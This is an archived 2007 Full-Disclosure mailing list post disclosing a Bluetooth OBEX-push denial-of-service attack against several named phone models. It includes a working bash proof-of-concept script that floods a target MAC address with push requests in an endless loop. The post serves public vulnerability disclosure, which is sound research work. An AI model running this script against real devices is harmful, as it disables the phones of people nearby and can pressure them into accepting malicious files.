Re: [Full-disclosure] Bluetooth DoS by obex push [CORRECTED]
- From: Armin Hornung <hornung@xxxxxxxxxxxxxxxxx>
- Date: Tue, 23 Jan 2007 11:05:22 -0800
Sorry for some trouble with the last mail, I have corrected the text
(there were some possibly unreadable characters in it) and the
attachment is plain text now.
Hello,
during a course project studying security and privacy related to
Bluetooth, we discovered a simple but effective DoS attack using OBEX push.
Using ussp-push [1], it is possible to send out files very quickly. By
continuously trying to push a file, the target is flooded with prompts
whether to accept the file or not, which disables any other usage on the
phone, including the ability to turn off Bluetooth.
We confirmed the attack to work on the following phones (all tested ones!):
- Sony Ericsson K700i
- Nokia N70
- Motorola MOTORAZR V3
- Sony Ericsson W810i
- LG Chocolate KG800
and expect nearly all available phones with Bluetooth to be vulnerable
(in contrary to the previous DoS by l2ping).
A proof-of-concept code is attached, using ussp-push and targeting a
known MAC. This could be easily extended to target all visible devices.
Plus, a user could be forced to accept a possibly malicious file with
this attack. Using only one Bluetooth-Dongle, we were able to
practically disable three phones simlutaneously.
Best regards,
Stefan Ekerfelt and Armin Hornung
[1] http://www.xmailserver.org/ussp-push.html
#!/bin/bash
checkOPUSH()
{
MAC=$1
OCHAN=$(sdptool search --bdaddr $MAC OPUSH | grep Channel:)
if test "$OCHAN" != ""
then
OCHAN=$(echo $OCHAN | awk '/Channel:/ { print $2 }')
return $OCHAN
fi
return 0
}
if test $# -ne 2
then
echo "Usage: $0 <bdaddr> <filename>"
exit 127
fi
MAC=$1
FILENAME=$2
checkOPUSH $1
OCHAN=$?
if test $OCHAN -eq 0
then
echo "Couldn't connect to $MAC via OBEX push."
exit 127
fi
while true
do
./ussp-push $MAC@$OCHAN $FILENAME $FILENAME
done
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
- References:
- [Full-disclosure] Bluetooth DoS by obex push
- From: Armin Hornung
- [Full-disclosure] Bluetooth DoS by obex push
- Prev by Date: Re: [Full-disclosure] 'Rixstep still aren't as leet as they thought they were'
- Next by Date: [Full-disclosure] [ MDKSA-2007:025 ] - Updated kernel packages fix multiple vulnerabilities and bugs
- Previous by thread: [Full-disclosure] Bluetooth DoS by obex push
- Next by thread: [Full-disclosure] CSRF-ing “Blogger Classic”
- Index(es):
Relevant Pages
|
